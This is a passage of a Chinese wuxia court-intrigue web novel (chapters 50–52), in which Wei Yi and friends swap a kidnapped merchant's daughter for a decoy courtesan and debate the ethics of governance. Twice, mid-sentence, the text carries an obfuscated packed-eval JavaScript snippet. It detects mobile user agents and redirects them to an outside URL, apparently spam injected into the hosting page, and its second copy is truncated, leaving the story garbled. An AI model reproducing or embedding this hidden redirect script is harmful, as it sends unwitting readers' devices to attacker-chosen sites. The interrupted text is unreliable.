“我犯法,我爹都不会包庇我的,我自然以父亲为榜样,见到罗姐姐犯法,绝不会包庇您!”明三立刻保证。 还犯法不犯法,包庇不包庇呢!这位不是赌角斗很在行吗? 韦祎真想问问他,是不是不知道赌角斗犯法?而且他那个爹,什么沥州法曹的,一个法曹,既不管商,又不管税,竟然与商人交好,十有八九是银钱贿赂堆出来的,竟然教儿子自诩廉明! 明三跟着罗易,后面几步远是韦祎、罗晏、云攸纾三个人并排走,把云攸纾夹在中间。 再后面好几步远才是随从们,殷涿此时不在,韦祎猜他是去找能假扮贺顼的姑娘了。 “待会儿我去换贺小姐,你们要不要来?” “你想去吗?”韦祎直接问云攸纾。 “带我去?我可不会飞!” “不打紧,你也没多沉。” “安全吗?” “有什么不安全的?这几日都是我们在明,敌在暗,今天终于可以先下手,有好玩的,不去看就可惜了。” “去吧,横竖你得闲,”罗晏说,“多好玩的戏码,就这么定了。” 按照防范刺客的方法,让云攸纾移动起来,始终不待在一个确定的位置上,比留在罗易家里更方便,于是宁愿拎着他翻墙上房。 “回家吃饭去。”罗易站定下来,向走在后面的这些人说,“哎呀,家里没饭,我又忘了。那便去酒楼吃。” “韦公子真是好身手,在下见了,佩服不已,不知韦公子在京城里,是为官还是经商,抑或是行走江湖,行侠仗义?” 刚坐下,吃了两口,明三放下筷子便发问。 “雕虫小计,不足挂齿。” “怎么会是雕虫小计?韦公子过谦了,在下勉强会些剑法,远不如韦公子这样的行家!” 韦祎想说,其实自己根本不用剑来着,用剑的人,剑法还比不过不用剑的人,未免也太差劲了! 从刚见面时起,韦祎就对他没有好印象。 “你不是更擅长肉搏角斗吗?不捡那最擅长的说,提起剑法做什么?”罗易加入对话,给不断眨眼睛的韦祎解围。 “说来惭愧啊,我虽然好武术,却得瞒着家父,在武馆学了些皮毛,自己买几本剑谱来看,其余的,全是在角斗台上摸索出来的,实在比不得名门正派教导出的高徒!” “角斗?” “子隽你一定猜不到,别的公子哥儿只是去当观众赌钱的,明三公子喜欢的是自己上场打斗,倒是赢多输少,偏偏要这些朋友帮他瞒着父母。”罗易说。 “那岂不是要被人打?”云攸纾问。 “无妨无妨,只有实战才能练出真本事!不过啊,这位小公子可别误会,我虽然上台做角斗士,但我从不害人性命,其他角斗士与我不同,他们真的是靠拼死拼活讨生活的可怜人,怎么能伤其性命呢!可怜我辈男儿,本应披甲胄、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14421025|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上战场,开疆拓土为国效力,我就是去报名当个马前小兵,也当开赴戍北,让北燕鞑子不敢犯我边境!” “呃,那个,明三公子好志气。”因为明三一直盯着韦祎在说,所以他说完了长篇大论,韦祎只好强行想一句话出来回答他。 看来,明三不喜欢贺氏父子,可能因为他们祖上是燕国人,热血沸腾的明三从根上就不喜欢。 韦祎和别人对话,围观的人都会觉得尴尬蔓延到自己身上来了,罗晏也来解围:“募兵处常有,明三公子有此志气,只要肯去应试,定能获封军官。” “罗少主,并非我不想,因我是地方官员之子,若没有上官的介绍,不准私自从军。我曾求家父寻人为我介绍,只是,家父在军中并无关系,二来,家父不属意我离开东海。”明三公子摇头叹气,扼腕惋惜。 随后,他自己转了话题,“韦公子师从何门何派?我听人说,大齐门派,西有昆仑雪宫以内力称道、北有冥龙刀派霸道非常,南方要属燕返剑最为轻灵,中部则以佛心拳法武林正宗啊!” 四大门派势大,韦祎当然知道,每次京城举办武举,能见到门派弟子踊跃参与。 有的时候,门派势力太强,朝廷也要头疼,不知道怎么控制才好。 熟人里面,三表姐夫年轻时就是因为得罪了燕返剑,才被人追杀,躲进了公门,而韦祎手下的小将郑予曾经是佛心派俗家弟子。 “那个,我倒不是名门出身。”此时才意识到,师门叫什么?连名字都没有,师父和师姑也没有取一个什么什么道人、什么什么居士的高人名号。 师父当年说了:“你师姑名叫程嘉人,我的名字是史翡存,怎么着,你们几个小子问我叫什么,难不成以后想直呼我名字不成?真是胆儿肥了!” 众少年少女纷纷作鸟兽散,一边叽叽喳喳:信了你的鬼,一个是“成假人”,一个是“实非存”,编造如此敷衍! 等出来了,按照师父曾讲过的众多英勇事迹,在史书上一查,世上绝无此二人! “子隽和我是同门,要让明三公子失望了,并不是什么高门大派,浩瀚大海上一座无名的小岛罢了,总共没有几个弟子。”罗晏忽然变得很有兴致,“说来,我入门比子隽早很多,他该叫我一声师兄!” “你可真好意思占便宜。”这是老生常谈,因为罗晏在娘胎里时就被带到了岛上,刚出生就算进了师门,自诩是师兄,不过,大家都不承认。 他还是够仗义,自报家门,明三不清楚韦祎是什么身份,可罗氏少主拜的师门,一定不同凡响,于是,罗晏把明三的“炮火”分走了一半。 抓角斗赌场好多次,今天第一次听说有公子哥儿亲自上场做角斗士。 说起来,做角斗士,是违法还是不违法呢? 没有先例,谁也不清楚这种情况会如何判断,寻常查封瓦舍武馆,里面的角斗士大多是被非法买来的奴隶,在赃款里分他们一笔抚恤金,根据他们自己的意愿,有的送还原籍,有的改作农户,有的充作兵丁,皆无罪开释。 公子哥儿从军无门,习武无方,只能去角斗场磨练武术,这若是真话,着实可悲。 沥州是大州,因此沥州法曹官位并不低,连一封介绍信都讨不来是不可能的。 罗易加重了语气,“你别替你爹爹说好听的,他对你们几个不上心,又不是什么秘密。东海谁不知道,他喜欢你后娘生的小弟。” “哎呀,罗姐姐,家父与母亲恩爱,喜欢小弟再寻常不过,我做儿子的,应当理解长辈。” “理解他?你大哥文采卓然,你爹却不肯给他介绍名师,你有志气从军,你爹没有替你筹谋,他与我们这些人谈天,话里只夸他的小儿子。你也真是运气差,摊上了这么一个爹。” “长辈嘛,纵使有不对,晚辈也不好非议。罗姐姐还说我运气差,罗世伯不也一样偏心二公子嘛?” 没有再说下去,罗易咯咯笑了起来。 “我爹对我也不好。”云攸纾刚才听得义愤填膺,等罗易和明三闭上嘴,轮到他把酝酿许久的一句话吐出,“我小时候就把我赶出家门,不让我和我娘见面!” “看来我和这位小公子是同病相怜。”明三应和。 50. 换瑶琴 你不会想要和他同病相怜的,他可比你惨多了,他老爹要送他作人质去呢,韦祎心想。 前些年齐国吞并了南稞国,打破了多年以来的平衡,如今又要与燕国开战,寻求西域的联盟,西域自然是惴惴不安。 从前齐国与稞国、燕国都有签署过和平盟约,该翻脸时就翻脸,一点愧疚的情绪都不会有,如今谁还敢结盟? 西域嘛,又贪图齐国给的好处,又谋算着燕国地域极广,齐国不可能一口吃下,权衡之下还是要结盟,所以,要个人质当作保障措施。 依照韦祎对齐国皇帝的了解,即使秘密送了人质过去,想要攻打西域的时候他绝不会犹豫。 总之,云攸纾就是个炮灰。 此时桌上分了两派,爹特别坏一派和家境优越独生子一派。 在别人说自己有多惨的时候,不惨的人最好别插话。 罗易更清醒,她也少说,偶尔附和。她正面开战,背后叫屈不是她的风格。 好不容易话题转移,抓紧时间吃几口,听到身边云攸纾越说越激动,拉着韦祎的袖子,冲口而出一句:“你既然说无人举荐不能施展抱负,韦子隽你可以啊,你不就是个……呜!” 一激灵,谁也不想让麻烦跑到自己头上来,咻地伸了手指头,借着袖子的遮掩覆在云攸纾气海穴处,云攸纾耳边莫名其妙就听到了声音,韦祎威胁:“你不想和罗曏一样吧?” 刚才云攸纾看见了韦祎一指头废了罗曏,他年纪还小,和女孩子接触最多的时候也只是拉了罗易的手而已,未尝人事,更怕被点废,紧急闭嘴。 “呵呵,他年纪还小,以为我住在京城,就会认识当官的,好给你介绍门路,其实呀,那些高门大户,我这个升斗小民看得见摸不着啊,连门都进不去呢,根本是无法企及,无法企及。” “子隽这话是襟怀坦荡,心口如一。”罗晏立刻就笑,自己这位至交好友,身为天子近臣,皇宫都可以轻松出入。这不,为了说谎,讲了这几天最长的一句话,整个人透露着一副可疑的姿态。 事后云攸纾怒道:“你怎么撒谎呢!” 韦祎眼神游移,心道:你这个满口没一句真话的小子,指责我说谎! 云攸纾:“你竟然威胁我!” 韦祎说:“骗你玩呢。” “也就只有你才会骗我,你是坏人!” 难道你的逸希姐姐就不骗你嘛?她还和殷涿朱愈这些人合起伙来骗你她养面首呢!韦祎目光怜悯。 出了酒楼,罗易眼神示意不远处的铺子里,殷涿在等着了,于是众人告别,她带着明三走了。 估计着还是要整贺老头一番,再安排明三把贺顼救出来,没了长期合作的贺老头,今年的炭去哪里买?已经秋天了,这又是一件大事,够她忙一阵子。 “你当心啊,有事就找肖丰他们帮着做。”韦祎意有所指。 “行了,你们几个都不在的时候,难不成我不过日子了?至于肖大哥,他还是不出门为好!”罗易不满韦祎竟然不放心她做事。 “肖丰是何人啊?也是罗姐姐的客人?”明三问。 “是啊,肖大哥是韦公子的同伴,亦是武艺高强,而且为人耿直,定会与你合得来。”罗易说完,带着跃跃欲试的明三离开。 剩下的三个人站在门口斗嘴。 云攸纾又说:“你太不善良了!明三公子如此有志气,你都不帮他一把!” 才见面你就能看出人家有志气?而且我帮他一把就是送他去给你老爹干活,你不是讨厌你老爹吗?韦祎又沉默。 听起来可怜不见得是真可怜,岂能认识别人半天,就判断出是好人还是坏人,这么搞,自己怎么死的都不知道。 上一刻是好人,不一定下一刻就是好人。就像周冲,几年相处下来,一直赤诚勤勉,不似做伪,本已经下定决心举荐他,可一旦遇险,这人立刻招供投敌。 “好了,渔甫在等着呢!”罗晏推着他们两个出发。 三件有兜帽的黑外套,蒙面巾,殷涿已经准备好,让他们几个穿上掩人耳目。 后面转出一位也穿了黑外套的姑娘,六尺七寸的身高,丰满身材,外套里面穿一幅满绣石榴裙,脚上一双描金双蝶红蕊鞋,头发梳成未出嫁女子的模样,头戴两支做工精良的绢花,一串金鸢尾流苏,左手腕上四个金镯子,右手腕上一对水头上佳的翡翠镯子叮当作响,打扮与贺顼小姐几乎没有差别。 “姑娘好,敢问姑娘芳名?”罗晏上前一步,微笑拱手,先行施礼。 “蒙少主垂问,妾身惶恐。”那姑娘果然是个胆大的,不慌不忙,盈盈还礼,“妾身名叫瑶琴,在云栖老板手下做事。” 云栖手下的,就是妓了。 “瑶琴姑娘愿意走这一趟,真是好胆色。”罗晏称赞。 瑶琴笑答:“因缘际会,若能搭救贺小姐,是瑶琴的造化,更何况,这一次无论功成与否,这一身配给的衣裳首饰我都能自留,又有少主亲自护我周全,哪里有什么可担心的?” “这是迷烟,少主您拿着。”殷涿拿出一个竹筒,“只要推动下面这个机关,粉尘就能喷射出去,使用时要戴上面罩。” “好东西啊。”罗晏接过来。 “你们为何会备迷烟?”韦祎发问,这不是绿林强盗才有的? “喔,是玉芝配的。”殷涿毫不犹豫的把锅扣到了朱愈头上。 外面已有马车候着,把他们四个人拉到了羊花巷附近的隐蔽处。 四人一同站在墙根下,“就是这间院子。” “倒是独门独户。”瑶琴跟着张望,她不用带蒙面巾。 曾经看见别的姐妹被有钱的老爷接出来,住进这样清净但舒适的院子里,去探望,见院子里凡事都能作主,独占一方天地,也羡慕过。 再等等看,过了不到两三年的功夫,有钱的老爷换了口味,被撵出来,只好回了妓馆,由奢入俭难,日子不好过。 也有被接走就没回来的姑娘,听说被大妇带着家丁打了,划花了脸,妓馆都不留,不知飘零到哪里去。 还有一些,跟男人走了便杳无音讯。 羊花巷,深巷里一共十几间单进的小院,鲜少有人出入,所有院子都闭着门,可见这巷子专为富人养外室所备,来往都会避人耳目。 其中一间便是罗曏落在心腹陈志名下的。 背对着墙,依靠手在墙沿一抓的力量,悄无声息把自己整个人送上墙头,坐在墙头隐蔽处,罗晏拿出迷烟来,拔开机关,扔进院内。 迷烟劲够大,院内几个家丁很快软倒。 “瑶琴姑娘,冒犯了。”罗晏复又跳下来,将瑶琴打横抱起,瑶琴很配合地双手搂住罗晏的脖子,两个人的姿态亲密异常。 韦祎看了看身边站着的云攸纾,云攸纾的眼睛在罗晏和韦祎之间来回扫视,充满了警惕。 “你放心。”韦祎抓住了云攸纾的后脖领子,把他提起,“我是不会抱你的。” 四肢离地,云攸纾不受控制地挣扎起来,于是韦祎伸出另一只手,拎起了他的腰带,方法和昨夜拎罗易一个样。 瑶琴抿着嘴笑个不住。 “你看看人家罗大哥是怎么带人的,再看看你!”云攸纾一边挣扎,一边抱怨。 “让我抱个姑娘就罢了,你就别想了。”韦祎直接蹲身跃起,带着云攸纾翻过了一丈高的院墙。 罗晏柔声提醒“瑶琴姑娘,准备好了,抓紧。” 果然,落地后,云攸纾脸色发白,心跳过速,瑶琴面不改色,行动如常。 正屋的门上落着大锁,不耐烦去地上躺着的人身上摸钥匙,于是捏住锁头,劲气一吐,锁头裂成了几块,摘下来,随意扔进角落里。 贺顼果然在屋内,已经哭得上气不接下气,半昏过去,迷迷糊糊中仍在抽泣。 “正好。”罗晏把她彻底点晕过去,瑶琴脱下黑外套,穿在贺顼身上,走到刚才贺顼坐着的位置,饶有兴趣地学着贺顼的姿势坐下,歪着掩面装悲恸。 云攸纾一直站在门口,半探着身子,抓着门框,紧张地望风,盯着院子里那一群倒地不醒的壮汉。 大家没管他。 “罗大哥,你刚才把锁破坏了,会被他们发现的!”云攸纾自己又放弃了监视,紧张兮兮地走进来提醒。 “放宽心,没关系的。”罗晏又拿出把一模一样的锁头,另外还有一个大水袋,一包食物,“瑶琴姑娘,我要用这把新锁把你锁在屋内,防备外面的人进来烦你。水和食物你留下,最迟明天下午,一定来救你出去。” “多谢少主想得周全。”瑶琴又站起来行礼。 “不是我周全,是渔甫周全。” 锁上门,四人照样子跳出了院子,上马车,往驴儿巷去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等她嫁人,东海罗氏的家业就一定会被她亲弟弟罗曏接手。 他们想着,罗易再手眼通天、离经叛道,一定也不会让家业落进外姓夫婿手里,于是只能让弟弟继承。 近些年,东海罗氏重新做大,算是东海最有前途的商团,背后是罗氏大族,更加实力雄厚,所以说,罗曏是上等金龟婿人选,尽管十足混账。 贺老头会借着这次机会动歪心思不足为奇,诬陷罗曏劫持贺顼,再要求私了,把女儿送进罗家当少夫人。 歪心思放到女儿身上,当爹的太差劲。 他还不知道,罗曏往日只是在骚扰贺顼而已,根本没有爱慕的心思。 不过,也不知道这位贺顼小姐,是不是事件的知情人。如果她也是事件主谋之一,就麻烦了。 “那我们扮作人牙子问一问。”罗晏不以为然。 等会儿还要拎着云攸纾去密探办公室做个报告,把贺老头大概率是北燕间谍的问题说清楚。 事情怎么又变多了? 短短两条巷子的距离,马车很快就到了,放下了贺顼小姐,一切顺利,自然殷涿派人在附近观望。 结合昨晚在房顶偷听的内容,外加今天云攸纾反常的焦虑来考虑,韦祎有点怀疑,也许是云攸纾先被燕人间谍掳走,后又被芜夙截住,他与芜夙谋划一番,将周冲留给芜夙当作筹码,达成合谋。 这孩子却根本没想到芜夙把杀人放火当家常便饭,随手先砍下一只胳膊,更没想到周冲叛变得也极快,立刻透出消息来毒倒了韦祎。 事态完全被动。 看到罗易以两个无辜女子的安全为代价去谋算别人,把这两件事联想到一起去。 “有什么办法?瑶琴姑娘自愿为了报酬而冒险,而贺顼姑娘是因为她的爹先使坏,就算她们两个都遇到了危险,只要我们中间运作的动作够隐蔽,我们就不会有损失。”韦祎大发善心给云攸纾解释,其实也是为了阻止他继续散发焦虑,“慈不掌兵,义不经商,仁不从政。你贵为皇子,要做大事的人,别想这么多。” “竟然从韦子隽嘴里说出来,说服力倍增。”罗晏在一旁说风凉话。 韦祎并不生气:“就是因为做不到,才想要做个闲差混日子,结果还是被派了差事。” 51. 秋露白 “慈不掌兵、义不经商、仁不从政?”云攸纾念叨了两次,“这是什么大逆不道的说法?我大齐募兵,一向教导将士为保卫家乡父老而战,从商要做立己立人,达己达人的儒商,不能取不义之财,而从政更是要心系民生疾苦,不仁不可从政。” “虽然与通用的说法相反,但说不上是大逆不道,因为这是你爹说的。”韦祎回忆当时的情景。 大概是有个州的太守因为帮朋友报私仇,杀了一个皇族的远亲,最终嫁祸给了被害者的恶仆人,而皇帝已经查证了实情。 一份是州太守交上来的陈情说辞,一份是第三方查出的真相,两份奏章并排摆在皇帝的桌案上,而十七岁的韦祎正在殿内值班。 “小祎啊,你来看看,猜朕会采用哪一份?” 因为事涉机密,上书房内只有二人而已。 “末将认为,若确实是李太守杀了人,自然是采用真相,惩处凶手。”韦祎回答,这件事闹哄哄纠纷了许久,他很有印象。 皇帝大笑:“果然是小孩子,真相有什么要紧的?他从政清廉,把边境治理得很好,朕正用得着李卿呐!只是杀了一个朕的远房侄子而已!那孩子依仗皇室身份欺压百姓,依朕看,李卿杀得好!” 看韦祎不解,皇帝便说,慈不掌兵,义不经商,仁不从政,你要学的还多着呢。 “什么意思?”云攸纾愣住了。 罗晏说:“你就不能给他举一个好懂的例子?” “好吧,让我想想。”罗曏就是个好例子。“就比如,刚才在棋馆,我可以在大庭广众之下杀掉罗曏,并且不会受到惩处。” “这怎么可能?就算你是官,也不能随便杀人!” “首先要问问罗少主,我杀掉罗曏,你们家不会追究不休吧?” “当然不会,他若是再闹腾,我都要下手了。”罗晏摆摆手。 “我护送平郡王到了东海郡,遭遇了燕国间谍的袭击,脱离险境后,在今天早上听说有疑似燕国间谍的商人闹事,于是微服前往查证,在查证的时候,忽然有人向平郡王冲了过来,意图行凶,我便把他给杀了。” “可是,官府会查。” “不会,罗曏只是民,有犯罪前科,还与燕国间谍的女儿拉扯不清,又不是罗氏的骨干,死了也就死了。就算是他爹娘非要追究上告,一层层递重审的奏章上去,民告官顶天也只会递到中书省。” “你不怕中书省查你吗!” “中书省是我舅父管,你不是知道吗?”韦祎挠头。 如果杀了罗曏,罗易就要轻松多了,不再需要费力谋算。 “那你为什么不杀他?”云攸纾想到了他的逸希姐姐,又得知韦祎可以杀人而不受惩处,反问韦祎为何不作为。 “因为他没有向你冲过去,他是因为旧怨向逸希冲过去。”这还用说? “我当时就站在逸希姐姐身边,也可以说成是向我冲过来,随意你怎么解释。” “对啊。” “事情都在你掌握,为何不动手!” “因为罗曏没有要害你的意思,刚才说了,你是不是睡得太少,脑子不好使?就算他想害你,我也可以不杀他就制住他。”韦祎不满,原本就不喜欢讲事情,怎么还讲了一遍立刻就忘呢? “平焕啊,正因为他在理、势、力上都占了上风,所以更不能放纵自己伤害他人。”罗晏旁观这两个人讲道理,结果竟然是二人都变得更迷惑了,出言解释,随后凑到云攸纾耳边小声道:“不要学他,这叫自诩君子的傲慢。” 韦祎当然能听到,“喂!罗壹通!你为什么不悄悄杀了罗曏?” “我若是擅自对罗曏动手,小易一定会闹脾气,这是她的事情,若是她没有找我帮忙,我擅自给她解决麻烦,有轻视之嫌。” “噢,你也知道啊!我可不想随便插手,回头要被她恶整。” 就比如在脸上涂绿色的药膏。 “你现在没得罪她,她也一样捉弄你,别抱有幻想。”罗晏说。 对话已经结束了很久,他们快走回罗易家了,云攸纾突然站住,一跺脚,啊呀地叫了一声。 “何事?” “我们刚才在马车里说了那么多事情,若是贺顼小姐没有真的晕过去,被她听到怎么办!” “不会的,我绝对把她点晕了。”罗晏说。 不用云攸纾反驳,韦祎先说:“上次你点晕了那个燕国大胡子间谍,结果他马上就醒了。”损一句罗晏,又把话题转回来,“就算她听到了也没关系,他老爹是间谍,等密探下手抓人,你以为她能活着?” 与大家讨论了贺老头很有可能是燕国间谍之后,韦祎便想到了,这位贺顼姑娘听起来天真娇憨,又不守旧死板,知道在选择夫婿上争取自主权,哥哥贺颂对妹妹也不错,一旦沾上间谍问题,这一家子都要连带着宁可错杀不可放过,着实可惜。 本想直接拎着云攸纾去密探衙门,云攸纾却非要说回家去更衣便溺,不肯随便找个地方解决,只好先回来一趟。 走到门口,正遇上出门的明三公子。 “罗少主,韦公子,平公子,你们办事回来了?”明三驻足拱手。 “是啊,明三公子这是去往何处?” “现在天色还早,我出去转转,再找一找贺小姐的下落,现在贺小姐遇险,生死未卜,我坐不住。”明三回头看看,“哎呀,肖大哥也说了来帮我的忙呢!韦公子,我方才与肖大哥比试一番,果真,韦公子的朋友,武功确实不俗,在下好久没有比试得如此酣畅!” “可不是嘛,肖丰的性格可比子隽好多啦,你想要跟他比试,他一准儿答应!” “哈哈,在下可不敢非议韦公子啊。”明三跟着笑笑,表情明显是赞同罗晏的。 正好,肖丰从大门走出来。 难道我的性格已经比这个脾气极臭的家伙还要差了吗?心里想着,投过去疑惑的眼神:“你这样出门真的好吗?不要吓到小孩子,也不要搞露馅了啊!” 韦祎没有说出来,但是肖丰走过来回答了他:“知道。”随后与明三一起走开。 夜里的月光极好,眼见着云攸纾那屋已经熄灯就寝了,韦祎翻上屋顶,头顶的月亮半圆,洒着白蒙蒙的一层光,照在屋顶光滑的瓦片上,如薄雪。 身后正有一株比屋顶还高一点的大柳树,韦祎借着腰力仰过去,摘下一片叶子来,横过来放在唇边,鼓气一吹,气力太大,叶子从中间裂开。 又仰过去摘了一片,仍旧吹不响,仔细观察,原来是叶子上有个被虫蛀的缺口。 把这片也扔掉,不耐烦一片一片的摘,于是伸出手来撸掉了两根柳条上的所有叶子,抓了有一大把,挨个试,废掉了三五片,终于吹出两声放屁一样的怪响。 “什么东西?”顿觉无趣,看看怀里剩下的一堆,两指夹起其中一片,用飞暗器的手法平推出去,软软的柳叶子约莫飞了两尺远,失去了力道,打着旋儿落下。 看来是用力不够,于是加重了内力再试,叶子直接碎裂在手中。 古书有云,此道致臻化境,夜视纤毫风压为刃,依照现在这个状况,离致臻化境差得远了! 从幼时入门至今,终于算是跻身高手之列。可站在武学的这个节点上向远方望去,道阻且长,永无止境。 身边出现了一点响声,罗晏从屋子另一边的屋顶上露头,手里掐着一只酒壶,捏着两个酒盅。饶有兴致地保持平衡站在窄窄的屋脊上,快步向韦祎走过来。 “你擅长什么?”韦祎问。 “作画!” 韦祎就是因为这个,才从屋里跑出来,到房顶上无聊的吹叶子。 刚才,已经到了就寝的时间,“你为何在我房里工作?”韦祎看罗晏没有离开的意思,反而把各类画笔、裁纸刀、色盘、大小纸张铺得到处都是。 “有个参照人物,方便。” 不想成为话本插画的参照物,韦祎逃了出来。 “武艺啊,武艺你擅长什么?”师兄弟、师姐师妹都有擅长的研究方向,罗晏应该也有。 “喔,我擅长逃跑。不信咱们试试,你轻功算好的了,也一定跑不过我。” 专长轻功,擅长作画,发展成了自称擅长逃跑的艳情画家,“嗯,师姑一定会为你骄傲的。” “喝?”罗晏倒了两盅酒,递过来一盅。 “不喝,我在行军途中,岂能饮酒?” “不喝你闻一闻,十三年的秋露白,好酒。” “十三年的秋露白?” 难得,秋露白费力,本就少人酿,商家也更喜酿当年即能售的酒,于是秋露白便见不到了,韦祎在宫中喝过几次十七年秋露白,确是御用好酒,清而不冽。 伸手接过来,“那就喝一杯。”一仰脖,“好酒。” “可怜的官差。”罗晏叹息,不再劝,自己一杯接一杯地喝起来,“小易从她爹那搜刮来的私藏好酒。我那位七叔叔见儿子又惹了麻烦 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分不出她这话是在表达昨晚被困在房顶的不满,还是真的觉得房顶景色不错。 “你知道吧?我有儿子。”沉默须臾,韦祎突然说话,选了一个开门见山的“好话题”。 “哎呦,你竟然会提起这件事!我以为你要一直一直拖着呢!”罗易极有兴趣的偏过头来看身边那人,“我知道,堂哥早说过了。” “有儿子就说明我曾有妻。”韦祎提醒。 “当然,你是个男子,没有妻怎么生孩子,自己生?” 又僵住了片刻,“你不介意做续弦?” 罗易盯着放空的韦祎看了一眼,仰着头哈哈笑了好一会儿,“假设啊,我真的嫁给你了,若是生了孩子,你介意孩子全跟我姓吗?” “有何不可?理所应当。” “哦?听说你们家到了你儿子,已经三代单传,你没有子嗣稀薄的危机感?” “没有,紧张这个做什么?”韦祎不知道为何话题跑回了自己身上,迟疑着答复。 “世人最忌讳绝后,于是惧怕子嗣稀薄。” “我不知道他们为何要忌讳。” “若是我不想生子?” “你要不要生子,自然要你自己审慎而行。此事,风险极大,危及性命……” 清泉生宓儿的时候吓到韦祎了,她那般刚强的一个人,疼得晕厥过去好几次,让韦祎觉得生产不是什么好事。 罗易端详着,回答这个问题的韦祎似乎比回答上个问题时话更多了一点。“怕继室生了孩子,嫡长子受轻视?” 这都什么啊? 韦祎斟酌道:“按照你假设的情况,你比我有钱多了,要担心也是你该担心财产受损。” “我确实该担心一番。不过,钱财身外物,倒也无妨。” “那……”韦祎不知道该说些什么了,竟然诡异地达成了共识,难道下一步要提亲吗? “那我也没打定主意要嫁给你,你也没同意与我交往,对吧?” “呃,对。”韦祎一愣,竟然是罗易先退了一步,既然如此,就应该转移话题,“我们再说下去,壹通要在房间里笑得四脚朝天了。” “我没有偷听!”罗晏的声音从下面传出来。 于是二人住嘴,韦祎在宅院主人的注目下又伸手去薅了一大把叶子,继续琢磨如何让柳叶飞射出去。 院外,明三与肖丰走过,“明三公子,肖大哥,你们回来了!”罗易踩着瓦片,战战兢兢地站立起来,向他们打招呼。 “罗姐姐,明三深夜才归,惊扰您了!”明三立住作揖。韦祎怕罗易仰倒栽下房顶,只得也站起来,伸手扶住她。 明三抬起头来,看看罗易,又看看韦祎,露出八卦的笑容来,“罗姐姐,韦公子,你们在……” “既然知道,还在这看着?”罗易反手拉住韦祎的胳膊。 “是是是,在下这就回房去歇息。”明三立刻告辞,一转头,韦祎就听见他对肖丰说:“肖大哥,韦公子是不是正与罗姐姐两情相悦啊?” 肖丰音量不减的回答:“正是如此。” 其实罗易来找,要说正经事。 既然已经把情况报给了官府,密探一定不会放这次立大功的良机,稍微去查一查证据,很快就会下手抓人,明天的“救贺顼”行动要如何进行? 52. 戏台巷 再去芜夙昨夜落脚的那小院看时,已经没有踪影留下了,破败的半扇布帘耷拉着,轻轻用手一戳,就是一个洞,在房内说话声稍微大些,扑簌簌掉下灰尘。 只有灶膛里剩下的,还有一点余温的草木灰,暗示不久之前此地有人短暂停留过。 朱愈的白鹰也未曾示警,不知芜夙是转移了阵地,抑或是自知中毒,回到大本营求救去了。连带着,周冲的事情也暂无结果。 虽然他已经不需要结果了。 今天下午,云攸纾被他提着去密探办公室的时候闹了好大一通脾气,质问,若是明知道贺顼姑娘会被他爹连累,也会给罗易的生意闹麻烦,为什么还要去作报告,不做不就成了? 韦祎直接教训他:“职责所在,若是我不知道也便罢了,知道了不报告怎么说得过去?所谓仁不从政,指的正是知道贺顼小姐会被她爹连累,也不能因为仁慈之心而放过奸人!” 于是,晚上吃过饭,云攸纾便闹起了脾气,闭门不出,连罗易都不肯见。 “不能,滥用,仁慈。”罗晏又喜闻乐见的跳了出来,“不能因为仁慈之心而放过奸人,说得好啊,你今日为何还要费心教他?他不过是个满口谎话的小孩子。” “我像他这么大的时候,正在他的老爹跟前,却从来没有见过他老爹去见他,他老爹心胸不俗,反而是我这个外人多得指点。” 所以,如今知道云攸纾即将前去西域为人质,面临险境,忍不住多说几句。 “你要求我去教他防身武术,不也是恻隐之心作祟?” “他生成了皇帝的儿子,看似尊贵,其实远不如你我这样的人。” 家族势大,幼从名师,父母开明,没有一摊子烂事,过于难得,“罗少主自谦了,我还真没见过比我们条件更好的。” 常看见别人这里惨那里惨,反观自身,一点惨事未沾。 有了这样高的起点,该去做些什么事业,才不算浪费? “我见那个明三对贺顼小姐的事情真有几分上心。” “是吗?” 再没有眼色,韦祎也能猜得到罗易将明三叫上,除了要利用他解决这次的事情,更是想把他介绍给自己,也许自己能给他写一封推荐信。若是事情的发展再好一些,这位明三显然对贺顼姑娘有些意思,如果他能拿着推荐信,与贺顼姑娘一同去京城,连带贺顼都可以得救。 一封推荐信而已,没什么大不了的。 让韦祎稍有些不舒服的,是罗易把这人推到眼前来,而自己与罗易正有那么一点走到一起去的苗头,出了这件事,对罗易添了丝疑虑。 “你怎么看?” “你怎知小易不是在试你?你想知道,就自己去问她,什么都来问我怎么看,这么依赖我,洞房花烛的时候怎么不见你来向我咨询?” “我什么时候依赖你了?真是大言不惭!” 说起来,当年自己成亲的时候,罗晏确实就住在家里,那时候怎么没想到他这个“非礼勿听”的好习惯呢? 搁置了一夜,样样事情已经准备妥帖。 第二日清早,韦祎又被自己彻底错乱的睡眠习惯给搞醒了,怎么能自己一个人睡不成呢?披上衣服提起剑,直接翻窗而入,把云攸纾从被窝里提出来。 “平焕,你不是要学剑吗?快起来锻炼。” 朦朦胧胧的正待骂人,还是想起来,剑是要学的,皱着眉起来,洗漱,穿上一套短衣裳,喝一杯蜂蜜水,就与韦祎一起站在了院中。 众校尉闻讯,纷纷前来看热闹,很快,罗易与秦琼、朱愈也出现在了院子里,站在回廊上观望,罗晏也不会错过这热闹,迅速穿了衣服起身。 紧接着,来往侍候的佣人,都聚在了此处。 众目睽睽之下,韦祎指着院子:“先绕院子跑十圈。” “你和我一起跑!”这太丢人了,太多人在看,气喘吁吁真的没什么可看的。 “来几个人,带着他跑。”韦祎向那几个看热闹的校尉招招手,又对云攸纾恐吓道:“若是你跟不上他们,我可不教你了。” 跟来的都是军中健者,绕这不大的院子跑十圈真不算个事儿。 然而,初升的太阳原来这么的晒人,云攸纾第一次知道。 